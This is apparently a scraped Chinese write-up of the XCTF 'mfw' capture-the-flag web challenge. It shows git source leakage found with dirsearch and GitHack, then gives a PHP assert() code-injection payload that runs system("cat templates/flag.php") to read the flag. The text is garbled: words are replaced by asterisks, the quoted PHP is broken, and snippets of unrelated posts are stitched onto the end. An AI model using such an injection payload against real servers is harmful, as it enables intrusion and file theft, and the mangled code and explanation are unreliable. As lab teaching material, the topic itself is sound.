題目資訊:
image.png
工具:githack,dirsearch
知識點:git漏洞、**審計
開啟題目場景,檢查**,發現這樣乙個頁面
image.png
訪問.git目錄,疑似存在git原始碼洩露
image.png
再用dirsearch掃瞄,發現git原始碼洩露:
使用 githack獲取原始碼
image.png
得到原始碼
index.php中關鍵**如下
if (isset($_get['page'])) else {
$page = "home";
$file = "templates/" . $page . ".php";
// i heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("detected hacking attempt!");
如果這個字串中沒有找到相應的子字串 就返回false
// todo: make this look nice
assert("file_exists('$file')") or die("that file doesn't exist!");
assert() 檢查乙個斷言是否為 false
strpos() 函式查詢字串在另一字串中第一次出現的位置。如果沒有找到則返回false
file_exists() 函式檢查檔案或目錄是否存在。
assert()函式會將括號中的字元當成**來執行,並返回true或false。
payload:?page=abc') or system("cat templates/flag.php");//
$file =templates/ abc') or system("cat templates/flag.php");// ".php"
因為在strpos中只傳入了abc,所以其肯定返回false,在利用or讓其執行system函式,再用" // "將後面的語句注釋掉
檢視網頁源**
.png
XCTF攻防世界web高階練習 mfw
xctf攻防世界web高階練習 mfw題目為mfw,沒有任何提示。直接開啟題目,是乙個 大概瀏覽一下其中的內容,看到其中url變化其實只是get的引數的變化 檢視它的原始碼,看到有乙個?page flag,flag應該在這個頁面裡面 但是進入這個頁面發現是空的 注意到有這樣乙個頁面,說道用到了git...
mfw 攻防世界 git原始碼洩露
可以通過這裡懷疑有.git洩露 訪問 git 目錄,發現有 用githack破解得到原始碼 注意 githack只能用python2 if isset get page else file templates page php i heard is dangerous assert strpos f...
攻防世界Web lottery
開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...